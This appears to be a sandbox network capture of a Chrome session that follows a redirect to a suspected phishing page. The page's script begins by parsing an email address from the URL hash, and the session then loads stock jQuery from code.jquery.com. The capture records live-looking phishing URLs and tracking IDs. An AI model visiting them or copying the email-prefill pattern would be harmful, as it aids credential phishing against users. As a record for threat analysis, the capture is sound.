2025-03-13 09:09:42 UTC	341	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 6d 72 2e 61 68 6d 65 64 2d 65 6c 67 61 6d 61 6c 2e 63 6f 6d 2f 30 33 2f 3f 69 64 3d 30 45 63 6f 43 70 36 41 72 69 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://mr.ahmed-elgamal.com/03/?id=0EcoCp6Ari">here</a>.</p><hr><address>Ap

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49725	138.197.101.40	443	6868	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-13 09:09:42 UTC	687	OUT	GET /03/?id=0EcoCp6Ari HTTP/1.1 Host: mr.ahmed-elgamal.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-13 09:09:42 UTC	272	IN	HTTP/1.1 200 OK Date: Thu, 13 Mar 2025 09:09:42 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Wed, 12 Mar 2025 18:18:51 GMT ETag: "4d5-630293cc15ba8" Accept-Ranges: bytes Content-Length: 1237 Vary: Accept-Encoding Connection: close Content-Type: text/html
2025-03-13 09:09:42 UTC	1237	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0d 0a 20 20 20 20 3c 73 63 72 69 70 74 3e 0d 0a 20 20 20 20 20 20 20 20 2f 2f 20 46 75 6e 63 74 69 6f 6e 20 74 6f 20 70 61 72 73 65 20 74 68 65 20 65 6d 61 69 6c 20 66 72 6f 6d 20 74 68 65 20 55 52 4c 20 68 61 73 68 0d 0a 20 20 20 20 20 20 20 20 66 75 6e 63 74 69 6f 6e 20 67 65 74 45 6d 61 69 6c 46 72 6f 6d 48 61 73 68 28 29 20 Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <script> // Function to parse the email from the URL hash function getEmailFromHash()

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49734	151.101.130.137	443	6868	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-13 09:09:49 UTC	710	OUT	GET /jquery-3.3.1.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive Origin: https://pub-160645733abe48e1a173755d32058a26.r2.dev sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://pub-160645733abe48e1a173755d32058a26.r2.dev/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-13 09:09:50 UTC	569	IN	HTTP/1.1 200 OK Connection: close Content-Length: 271751 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-42587" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Date: Thu, 13 Mar 2025 09:09:49 GMT Age: 2501495 X-Served-By: cache-lga21980-LGA, cache-chi-klot8100054-CHI X-Cache: HIT, HIT X-Cache-Hits: 381, 1 X-Timer: S1741856990.862218,VS0,VE2 Vary: Accept-Encoding
2025-03-13 09:09:50 UTC	1378	IN	Data Raw: 2f 2a 21 0a 20 2a 20 6a 51 75 65 72 79 20 4a 61 76 61 53 63 72 69 70 74 20 4c 69 62 72 61 72 79 20 76 33 2e 33 2e 31 0a 20 2a 20 68 74 74 70 73 3a 2f 2f 6a 71 75 65 72 79 2e 63 6f 6d 2f 0a 20 2a 0a 20 2a 20 49 6e 63 6c 75 64 65 73 20 53 69 7a 7a 6c 65 2e 6a 73 0a 20 2a 20 68 74 74 70 73 3a 2f 2f 73 69 7a 7a 6c 65 6a 73 2e 63 6f 6d 2f 0a 20 2a 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 0a 20 2a 20 52 65 6c 65 61 73 65 64 20 75 6e 64 65 72 20 74 68 65 20 4d 49 54 20 6c 69 63 65 6e 73 65 0a 20 2a 20 68 74 74 70 73 3a 2f 2f 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 0a 20 2a 0a 20 2a 20 44 61 74 65 3a 20 32 30 31 38 2d 30 31 2d 32 30 54 31 37 Data Ascii: /! jQuery JavaScript Library v3.3.1 * https://jquery.com/ * * Includes Sizzle.js * https://sizzlejs.com/ * * Copyright JS Foundation and other contributors * Released under the MIT license * https://jquery.org/license * * Date: 2018-01-20T17
2025-03-13 09:09:50 UTC	1378	IN	Data Raw: 2e 20 42 75 74 20 61 73 20 6f 66 20 6a 51 75 65 72 79 20 33 2e 30 20 28 32 30 31 36 29 2c 20 73 74 72 69 63 74 20 6d 6f 64 65 20 73 68 6f 75 6c 64 20 62 65 20 63 6f 6d 6d 6f 6e 0a 2f 2f 20 65 6e 6f 75 67 68 20 74 68 61 74 20 61 6c 6c 20 73 75 63 68 20 61 74 74 65 6d 70 74 73 20 61 72 65 20 67 75 61 72 64 65 64 20 69 6e 20 61 20 74 72 79 20 62 6c 6f 63 6b 2e 0a 22 75 73 65 20 73 74 72 69 63 74 22 3b 0a 0a 76 61 72 20 61 72 72 20 3d 20 5b 5d 3b 0a 0a 76 61 72 20 64 6f 63 75 6d 65 6e 74 20 3d 20 77 69 6e 64 6f 77 2e 64 6f 63 75 6d 65 6e 74 3b 0a 0a 76 61 72 20 67 65 74 50 72 6f 74 6f 20 3d 20 4f 62 6a 65 63 74 2e 67 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 3b 0a 0a 76 61 72 20 73 6c 69 63 65 20 3d 20 61 72 72 2e 73 6c 69 63 65 3b 0a 0a 76 61 72 20 63 6f 6e 63 Data Ascii: . But as of jQuery 3.0 (2016), strict mode should be common// enough that all such attempts are guarded in a try block."use strict";var arr = [];var document = window.document;var getProto = Object.getPrototypeOf;var slice = arr.slice;var conc
2025-03-13 09:09:50 UTC	1378	IN	Data Raw: 63 2e 68 65 61 64 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 20 73 63 72 69 70 74 20 29 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 72 65 6d 6f 76 65 43 68 69 6c 64 28 20 73 63 72 69 70 74 20 29 3b 0a 09 7d 0a 0a 0a 66 75 6e 63 74 69 6f 6e 20 74 6f 54 79 70 65 28 20 6f 62 6a 20 29 20 7b 0a 09 69 66 20 28 20 6f 62 6a 20 3d 3d 20 6e 75 6c 6c 20 29 20 7b 0a 09 09 72 65 74 75 72 6e 20 6f 62 6a 20 2b 20 22 22 3b 0a 09 7d 0a 0a 09 2f 2f 20 53 75 70 70 6f 72 74 3a 20 41 6e 64 72 6f 69 64 20 3c 3d 32 2e 33 20 6f 6e 6c 79 20 28 66 75 6e 63 74 69 6f 6e 69 73 68 20 52 65 67 45 78 70 29 0a 09 72 65 74 75 72 6e 20 74 79 70 65 6f 66 20 6f 62 6a 20 3d 3d 3d 20 22 6f 62 6a 65 63 74 22 20 7c 7c 20 74 79 70 65 6f 66 20 6f 62 6a 20 3d 3d 3d 20 22 66 75 6e 63 74 69 6f 6e 22 20 3f 0a 09 Data Ascii: c.head.appendChild( script ).parentNode.removeChild( script );}function toType( obj ) {if ( obj == null ) {return obj + "";}// Support: Android <=2.3 only (functionish RegExp)return typeof obj === "object" \|\| typeof obj === "function" ?
2025-03-13 09:09:50 UTC	1378	IN	Data Raw: 7b 0a 09 09 09 72 65 74 75 72 6e 20 73 6c 69 63 65 2e 63 61 6c 6c 28 20 74 68 69 73 20 29 3b 0a 09 09 7d 0a 0a 09 09 2f 2f 20 52 65 74 75 72 6e 20 6a 75 73 74 20 74 68 65 20 6f 6e 65 20 65 6c 65 6d 65 6e 74 20 66 72 6f 6d 20 74 68 65 20 73 65 74 0a 09 09 72 65 74 75 72 6e 20 6e 75 6d 20 3c 20 30 20 3f 20 74 68 69 73 5b 20 6e 75 6d 20 2b 20 74 68 69 73 2e 6c 65 6e 67 74 68 20 5d 20 3a 20 74 68 69 73 5b 20 6e 75 6d 20 5d 3b 0a 09 7d 2c 0a 0a 09 2f 2f 20 54 61 6b 65 20 61 6e 20 61 72 72 61 79 20 6f 66 20 65 6c 65 6d 65 6e 74 73 20 61 6e 64 20 70 75 73 68 20 69 74 20 6f 6e 74 6f 20 74 68 65 20 73 74 61 63 6b 0a 09 2f 2f 20 28 72 65 74 75 72 6e 69 6e 67 20 74 68 65 20 6e 65 77 20 6d 61 74 63 68 65 64 20 65 6c 65 6d 65 6e 74 20 73 65 74 29 0a 09 70 75 73 68 53 Data Ascii: {return slice.call( this );}// Return just the one element from the setreturn num < 0 ? this[ num + this.length ] : this[ num ];},// Take an array of elements and push it onto the stack// (returning the new matched element set)pushS
2025-03-13 09:09:50 UTC	1378	IN	Data Raw: 65 72 79 2e 66 6e 2e 65 78 74 65 6e 64 20 3d 20 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0a 09 76 61 72 20 6f 70 74 69 6f 6e 73 2c 20 6e 61 6d 65 2c 20 73 72 63 2c 20 63 6f 70 79 2c 20 63 6f 70 79 49 73 41 72 72 61 79 2c 20 63 6c 6f 6e 65 2c 0a 09 09 74 61 72 67 65 74 20 3d 20 61 72 67 75 6d 65 6e 74 73 5b 20 30 20 5d 20 7c 7c 20 7b 7d 2c 0a 09 09 69 20 3d 20 31 2c 0a 09 09 6c 65 6e 67 74 68 20 3d 20 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 2c 0a 09 09 64 65 65 70 20 3d 20 66 61 6c 73 65 3b 0a 0a 09 2f 2f 20 48 61 6e 64 6c 65 20 61 20 64 65 65 70 20 63 6f 70 79 20 73 69 74 75 61 74 69 6f 6e 0a 09 69 66 20 28 20 74 79 70 65 6f 66 20 74 61 72 67 65 74 20 3d 3d 3d 20 22 62 6f 6f 6c 65 61 6e 22 20 29 20 7b 0a 09 09 64 65 65 70 20 3d 20 74 61 72 67 65 74 3b Data Ascii: ery.fn.extend = function() {var options, name, src, copy, copyIsArray, clone,target = arguments[ 0 ] \|\| {},i = 1,length = arguments.length,deep = false;// Handle a deep copy situationif ( typeof target === "boolean" ) {deep = target;
2025-03-13 09:09:50 UTC	1378	IN	Data Raw: 65 2c 20 63 6f 70 79 20 29 3b 0a 0a 09 09 09 09 2f 2f 20 44 6f 6e 27 74 20 62 72 69 6e 67 20 69 6e 20 75 6e 64 65 66 69 6e 65 64 20 76 61 6c 75 65 73 0a 09 09 09 09 7d 20 65 6c 73 65 20 69 66 20 28 20 63 6f 70 79 20 21 3d 3d 20 75 6e 64 65 66 69 6e 65 64 20 29 20 7b 0a 09 09 09 09 09 74 61 72 67 65 74 5b 20 6e 61 6d 65 20 5d 20 3d 20 63 6f 70 79 3b 0a 09 09 09 09 7d 0a 09 09 09 7d 0a 09 09 7d 0a 09 7d 0a 0a 09 2f 2f 20 52 65 74 75 72 6e 20 74 68 65 20 6d 6f 64 69 66 69 65 64 20 6f 62 6a 65 63 74 0a 09 72 65 74 75 72 6e 20 74 61 72 67 65 74 3b 0a 7d 3b 0a 0a 6a 51 75 65 72 79 2e 65 78 74 65 6e 64 28 20 7b 0a 0a 09 2f 2f 20 55 6e 69 71 75 65 20 66 6f 72 20 65 61 63 68 20 63 6f 70 79 20 6f 66 20 6a 51 75 65 72 79 20 6f 6e 20 74 68 65 20 70 61 67 65 0a 09 65 Data Ascii: e, copy );// Don't bring in undefined values} else if ( copy !== undefined ) {target[ name ] = copy;}}}}// Return the modified objectreturn target;};jQuery.extend( {// Unique for each copy of jQuery on the pagee
2025-03-13 09:09:50 UTC	1378	IN	Data Raw: 09 09 44 4f 4d 45 76 61 6c 28 20 63 6f 64 65 20 29 3b 0a 09 7d 2c 0a 0a 09 65 61 63 68 3a 20 66 75 6e 63 74 69 6f 6e 28 20 6f 62 6a 2c 20 63 61 6c 6c 62 61 63 6b 20 29 20 7b 0a 09 09 76 61 72 20 6c 65 6e 67 74 68 2c 20 69 20 3d 20 30 3b 0a 0a 09 09 69 66 20 28 20 69 73 41 72 72 61 79 4c 69 6b 65 28 20 6f 62 6a 20 29 20 29 20 7b 0a 09 09 09 6c 65 6e 67 74 68 20 3d 20 6f 62 6a 2e 6c 65 6e 67 74 68 3b 0a 09 09 09 66 6f 72 20 28 20 3b 20 69 20 3c 20 6c 65 6e 67 74 68 3b 20 69 2b 2b 20 29 20 7b 0a 09 09 09 09 69 66 20 28 20 63 61 6c 6c 62 61 63 6b 2e 63 61 6c 6c 28 20 6f 62 6a 5b 20 69 20 5d 2c 20 69 2c 20 6f 62 6a 5b 20 69 20 5d 20 29 20 3d 3d 3d 20 66 61 6c 73 65 20 29 20 7b 0a 09 09 09 09 09 62 72 65 61 6b 3b 0a 09 09 09 09 7d 0a 09 09 09 7d 0a 09 09 7d 20 Data Ascii: DOMEval( code );},each: function( obj, callback ) {var length, i = 0;if ( isArrayLike( obj ) ) {length = obj.length;for ( ; i < length; i++ ) {if ( callback.call( obj[ i ], i, obj[ i ] ) === false ) {break;}}}
2025-03-13 09:09:50 UTC	1378	IN	Data Raw: 62 61 63 6b 45 78 70 65 63 74 20 3d 20 21 69 6e 76 65 72 74 3b 0a 0a 09 09 2f 2f 20 47 6f 20 74 68 72 6f 75 67 68 20 74 68 65 20 61 72 72 61 79 2c 20 6f 6e 6c 79 20 73 61 76 69 6e 67 20 74 68 65 20 69 74 65 6d 73 0a 09 09 2f 2f 20 74 68 61 74 20 70 61 73 73 20 74 68 65 20 76 61 6c 69 64 61 74 6f 72 20 66 75 6e 63 74 69 6f 6e 0a 09 09 66 6f 72 20 28 20 3b 20 69 20 3c 20 6c 65 6e 67 74 68 3b 20 69 2b 2b 20 29 20 7b 0a 09 09 09 63 61 6c 6c 62 61 63 6b 49 6e 76 65 72 73 65 20 3d 20 21 63 61 6c 6c 62 61 63 6b 28 20 65 6c 65 6d 73 5b 20 69 20 5d 2c 20 69 20 29 3b 0a 09 09 09 69 66 20 28 20 63 61 6c 6c 62 61 63 6b 49 6e 76 65 72 73 65 20 21 3d 3d 20 63 61 6c 6c 62 61 63 6b 45 78 70 65 63 74 20 29 20 7b 0a 09 09 09 09 6d 61 74 63 68 65 73 2e 70 75 73 68 28 20 65 Data Ascii: backExpect = !invert;// Go through the array, only saving the items// that pass the validator functionfor ( ; i < length; i++ ) {callbackInverse = !callback( elems[ i ], i );if ( callbackInverse !== callbackExpect ) {matches.push( e
2025-03-13 09:09:50 UTC	1378	IN	Data Raw: 2c 20 6e 61 6d 65 20 29 20 7b 0a 09 63 6c 61 73 73 32 74 79 70 65 5b 20 22 5b 6f 62 6a 65 63 74 20 22 20 2b 20 6e 61 6d 65 20 2b 20 22 5d 22 20 5d 20 3d 20 6e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3b 0a 7d 20 29 3b 0a 0a 66 75 6e 63 74 69 6f 6e 20 69 73 41 72 72 61 79 4c 69 6b 65 28 20 6f 62 6a 20 29 20 7b 0a 0a 09 2f 2f 20 53 75 70 70 6f 72 74 3a 20 72 65 61 6c 20 69 4f 53 20 38 2e 32 20 6f 6e 6c 79 20 28 6e 6f 74 20 72 65 70 72 6f 64 75 63 69 62 6c 65 20 69 6e 20 73 69 6d 75 6c 61 74 6f 72 29 0a 09 2f 2f 20 60 69 6e 60 20 63 68 65 63 6b 20 75 73 65 64 20 74 6f 20 70 72 65 76 65 6e 74 20 4a 49 54 20 65 72 72 6f 72 20 28 67 68 2d 32 31 34 35 29 0a 09 2f 2f 20 68 61 73 4f 77 6e 20 69 73 6e 27 74 20 75 73 65 64 20 68 65 72 65 20 64 75 65 20 74 Data Ascii: , name ) {class2type[ "[object " + name + "]" ] = name.toLowerCase();} );function isArrayLike( obj ) {// Support: real iOS 8.2 only (not reproducible in simulator)// `in` check used to prevent JIT error (gh-2145)// hasOwn isn't used here due t
2025-03-13 09:09:50 UTC	1378	IN	Data Raw: 6e 73 74 61 6e 63 65 20 6d 65 74 68 6f 64 73 0a 09 68 61 73 4f 77 6e 20 3d 20 28 7b 7d 29 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2c 0a 09 61 72 72 20 3d 20 5b 5d 2c 0a 09 70 6f 70 20 3d 20 61 72 72 2e 70 6f 70 2c 0a 09 70 75 73 68 5f 6e 61 74 69 76 65 20 3d 20 61 72 72 2e 70 75 73 68 2c 0a 09 70 75 73 68 20 3d 20 61 72 72 2e 70 75 73 68 2c 0a 09 73 6c 69 63 65 20 3d 20 61 72 72 2e 73 6c 69 63 65 2c 0a 09 2f 2f 20 55 73 65 20 61 20 73 74 72 69 70 70 65 64 2d 64 6f 77 6e 20 69 6e 64 65 78 4f 66 20 61 73 20 69 74 27 73 20 66 61 73 74 65 72 20 74 68 61 6e 20 6e 61 74 69 76 65 0a 09 2f 2f 20 68 74 74 70 73 3a 2f 2f 6a 73 70 65 72 66 2e 63 6f 6d 2f 74 68 6f 72 2d 69 6e 64 65 78 6f 66 2d 76 73 2d 66 6f 72 2f 35 0a 09 69 6e 64 65 78 4f 66 20 3d 20 66 75 6e Data Ascii: nstance methodshasOwn = ({}).hasOwnProperty,arr = [],pop = arr.pop,push_native = arr.push,push = arr.push,slice = arr.slice,// Use a stripped-down indexOf as it's faster than native// https://jsperf.com/thor-indexof-vs-for/5indexOf = fun

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49733	151.101.130.137	443	6868	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-13 09:09:49 UTC	690	OUT	GET /jquery-3.1.1.min.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Sec-Fetch-Storage-Access: active Referer: https://pub-160645733abe48e1a173755d32058a26.r2.dev/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-13 09:09:50 UTC	568	IN	HTTP/1.1 200 OK Connection: close Content-Length: 86709 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-152b5" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Date: Thu, 13 Mar 2025 09:09:49 GMT Age: 785273 X-Served-By: cache-lga21947-LGA, cache-chi-klot8100171-CHI X-Cache: HIT, HIT X-Cache-Hits: 1906, 1 X-Timer: S1741856990.874249,VS0,VE1 Vary: Accept-Encoding
2025-03-13 09:09:50 UTC	16384	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 31 2e 31 20 7c 20 28 63 29 20 6a 51 75 65 72 79 20 46 6f 75 6e 64 61 74 69 6f 6e 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 61 2e 64 6f 63 75 6d 65 6e 74 3f 62 28 61 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 21 61 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 65 72 79 20 72 65 71 75 69 72 65 73 20 61 20 77 69 6e 64 6f 77 20 77 Data Ascii: /! jQuery v3.1.1 \| (c) jQuery Foundation \| jquery.org/license /!function(a,b){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window w
2025-03-13 09:09:50 UTC	16384	IN	Data Raw: 3d 3d 3d 6d 2e 6e 6f 64 65 54 79 70 65 29 26 26 2b 2b 74 26 26 28 73 26 26 28 6c 3d 6d 5b 75 5d 7c 7c 28 6d 5b 75 5d 3d 7b 7d 29 2c 6b 3d 6c 5b 6d 2e 75 6e 69 71 75 65 49 44 5d 7c 7c 28 6c 5b 6d 2e 75 6e 69 71 75 65 49 44 5d 3d 7b 7d 29 2c 6b 5b 61 5d 3d 5b 77 2c 74 5d 29 2c 6d 3d 3d 3d 62 29 29 62 72 65 61 6b 3b 72 65 74 75 72 6e 20 74 2d 3d 65 2c 74 3d 3d 3d 64 7c 7c 74 25 64 3d 3d 3d 30 26 26 74 2f 64 3e 3d 30 7d 7d 7d 2c 50 53 45 55 44 4f 3a 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 76 61 72 20 63 2c 65 3d 64 2e 70 73 65 75 64 6f 73 5b 61 5d 7c 7c 64 2e 73 65 74 46 69 6c 74 65 72 73 5b 61 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 5d 7c 7c 67 61 2e 65 72 72 6f 72 28 22 75 6e 73 75 70 70 6f 72 74 65 64 20 70 73 65 75 64 6f 3a 20 22 2b 61 29 3b 72 65 74 Data Ascii: ===m.nodeType)&&++t&&(s&&(l=m[u]\|\|(m[u]={}),k=l[m.uniqueID]\|\|(l[m.uniqueID]={}),k[a]=[w,t]),m===b))break;return t-=e,t===d\|\|t%d===0&&t/d>=0}}},PSEUDO:function(a,b){var c,e=d.pseudos[a]\|\|d.setFilters[a.toLowerCase()]\|\|ga.error("unsupported pseudo: "+a);ret
2025-03-13 09:09:50 UTC	16384	IN	Data Raw: 64 3d 31 2c 55 2e 70 72 6f 74 6f 74 79 70 65 3d 7b 63 61 63 68 65 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 61 5b 74 68 69 73 2e 65 78 70 61 6e 64 6f 5d 3b 72 65 74 75 72 6e 20 62 7c 7c 28 62 3d 7b 7d 2c 54 28 61 29 26 26 28 61 2e 6e 6f 64 65 54 79 70 65 3f 61 5b 74 68 69 73 2e 65 78 70 61 6e 64 6f 5d 3d 62 3a 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 61 2c 74 68 69 73 2e 65 78 70 61 6e 64 6f 2c 7b 76 61 6c 75 65 3a 62 2c 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 7d 29 29 29 2c 62 7d 2c 73 65 74 3a 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 29 7b 76 61 72 20 64 2c 65 3d 74 68 69 73 2e 63 61 63 68 65 28 61 29 3b 69 66 28 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 62 29 65 5b 72 2e 63 61 6d 65 6c 43 61 73 65 Data Ascii: d=1,U.prototype={cache:function(a){var b=a[this.expando];return b\|\|(b={},T(a)&&(a.nodeType?a[this.expando]=b:Object.defineProperty(a,this.expando,{value:b,configurable:!0}))),b},set:function(a,b,c){var d,e=this.cache(a);if("string"==typeof b)e[r.camelCase
2025-03-13 09:09:50 UTC	16384	IN	Data Raw: 65 26 26 39 21 3d 3d 74 68 69 73 2e 6e 6f 64 65 54 79 70 65 7c 7c 28 74 68 69 73 2e 74 65 78 74 43 6f 6e 74 65 6e 74 3d 61 29 7d 29 7d 2c 6e 75 6c 6c 2c 61 2c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 29 7d 2c 61 70 70 65 6e 64 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 49 61 28 74 68 69 73 2c 61 72 67 75 6d 65 6e 74 73 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 31 3d 3d 3d 74 68 69 73 2e 6e 6f 64 65 54 79 70 65 7c 7c 31 31 3d 3d 3d 74 68 69 73 2e 6e 6f 64 65 54 79 70 65 7c 7c 39 3d 3d 3d 74 68 69 73 2e 6e 6f 64 65 54 79 70 65 29 7b 76 61 72 20 62 3d 44 61 28 74 68 69 73 2c 61 29 3b 62 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 61 29 7d 7d 29 7d 2c 70 72 65 70 65 6e 64 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 49 61 28 Data Ascii: e&&9!==this.nodeType\|\|(this.textContent=a)})},null,a,arguments.length)},append:function(){return Ia(this,arguments,function(a){if(1===this.nodeType\|\|11===this.nodeType\|\|9===this.nodeType){var b=Da(this,a);b.appendChild(a)}})},prepend:function(){return Ia(
2025-03-13 09:09:50 UTC	16384	IN	Data Raw: 73 2e 73 65 6c 65 63 74 65 64 3d 7b 67 65 74 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 61 2e 70 61 72 65 6e 74 4e 6f 64 65 3b 72 65 74 75 72 6e 20 62 26 26 62 2e 70 61 72 65 6e 74 4e 6f 64 65 26 26 62 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 73 65 6c 65 63 74 65 64 49 6e 64 65 78 2c 6e 75 6c 6c 7d 2c 73 65 74 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 61 2e 70 61 72 65 6e 74 4e 6f 64 65 3b 62 26 26 28 62 2e 73 65 6c 65 63 74 65 64 49 6e 64 65 78 2c 62 2e 70 61 72 65 6e 74 4e 6f 64 65 26 26 62 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 73 65 6c 65 63 74 65 64 49 6e 64 65 78 29 7d 7d 29 2c 72 2e 65 61 63 68 28 5b 22 74 61 62 49 6e 64 65 78 22 2c 22 72 65 61 64 4f 6e 6c 79 22 2c 22 6d 61 78 4c 65 6e 67 74 68 22 2c 22 63 65 6c 6c 53 70 61 63 Data Ascii: s.selected={get:function(a){var b=a.parentNode;return b&&b.parentNode&&b.parentNode.selectedIndex,null},set:function(a){var b=a.parentNode;b&&(b.selectedIndex,b.parentNode&&b.parentNode.selectedIndex)}}),r.each(["tabIndex","readOnly","maxLength","cellSpac
